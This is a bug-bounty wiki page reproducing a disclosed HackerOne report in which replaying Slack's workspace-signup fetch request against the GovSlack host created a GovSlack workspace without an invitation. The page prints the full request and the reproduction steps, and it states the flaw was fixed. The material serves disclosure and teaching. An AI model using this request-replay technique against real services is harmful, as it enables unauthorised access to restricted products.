Skip to content
Access control Disclosed report Intermediate

Unauthorized access to GovSlack

The signup endpoint used to create a normal Slack workspace did not check whether the request came from the restricted GovSlack product, so a user could create a GovSlack instance without an invitation. This gave the user access to features reserved for GovSlack customers.

violet Follow

Originally disclosed on HackerOne

Bounty$1,500 Medium 5.3 View original
  • Triaged in 14 days
  • Fixed in 6 months
  • Paid in 15 days
  • Disclosed after 7 months

Summary by the program

Users were able to create a new Workspace within the GovSlack product. This was possible by saving the HTTP POST request to the target /api/signup.createTeam API endpoint when creating a Slack Workspace on slack.com then using the cookies from a failed GovSlack sign-in attempt to call the endpoint, resulting in a GovSlack instance being created for the user. This behavior bypassed security controls which normally require a user to be invited to an existing GovSlack instance or contact Slack to create a new GovSlack instance, and allows the user to access features only available with GovSlack. Slack’s internal team resolved this issue on December 13, 2022, blocking Govslack in /api/signup.createTeam from future use and confirmed that no data from existing workspaces was exposed as a result of this issue.

The report

Head to slack.com (I use firefox), login as a user that hasn't used slack, create a workspace, copy the payload as fetch. In my case:

await fetch("https://slack.com/api/signup.createTeam?_x_id=noversion-1667355054.372", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "multipart/form-data; boundary=---------------------------34111059701841183173198228768",
        "Sec-Fetch-Dest": "empty",
        "Sec-Fetch-Mode": "cors",
        "Sec-Fetch-Site": "same-origin"
    },
    "referrer": "https://slack.com/get-started",
    "body": "-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"email_misc\"\r\n\r\ntrue\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"tz\"\r\n\r\nAmerica/Los_Angeles\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"locale\"\r\n\r\nen-US\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"last_tos_acknowledged\"\r\n\r\ntos_mar2018\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"login\"\r\n\r\ntrue\r\n-----------------------------34111059701841183173198228768\r\nContent-Disposition: form-data; name=\"in_setup_experiment\"\r\n\r\ntrue\r\n-----------------------------34111059701841183173198228768--\r\n",
    "method": "POST",
    "mode": "cors"
});

Login to slack-gov.com, where the option to create a workspace for new users is disabled. Send this same fetch request, replacing slack.com with slack-gov.com. In my case, the workspace created is viomck.slack-gov.com.

Impact

Unauthorized access to GovSlack.

The original report as published on HackerOne, by violet. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the shared signup endpoint did not verify that the request originated from the GovSlack product, so it accepted workspace creation for GovSlack just as it did for slack.com.

Impact

A user could gain unauthorised access to a GovSlack instance and its exclusive features, though Slack confirmed no data from existing workspaces was exposed.

What the attacker needed

A Slack account; ability to capture and replay a request

The fix

The endpoint was fixed by blocking GovSlack workspace creation through it.

How it was found

  1. Log in to slack.com as a user who has not used Slack before and start creating a workspace.
  2. Capture the HTTP POST request sent to the signup.createTeam API endpoint.
  3. Log in to the GovSlack site, where workspace creation is disabled for new users.
  4. Replay the captured request against the GovSlack host, which creates a GovSlack workspace for the user.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Slack has a restricted version called GovSlack, normally joined only by invitation. Replaying the normal workspace signup request against the GovSlack site created a GovSlack workspace, giving access to GovSlack-only features.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Slack

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.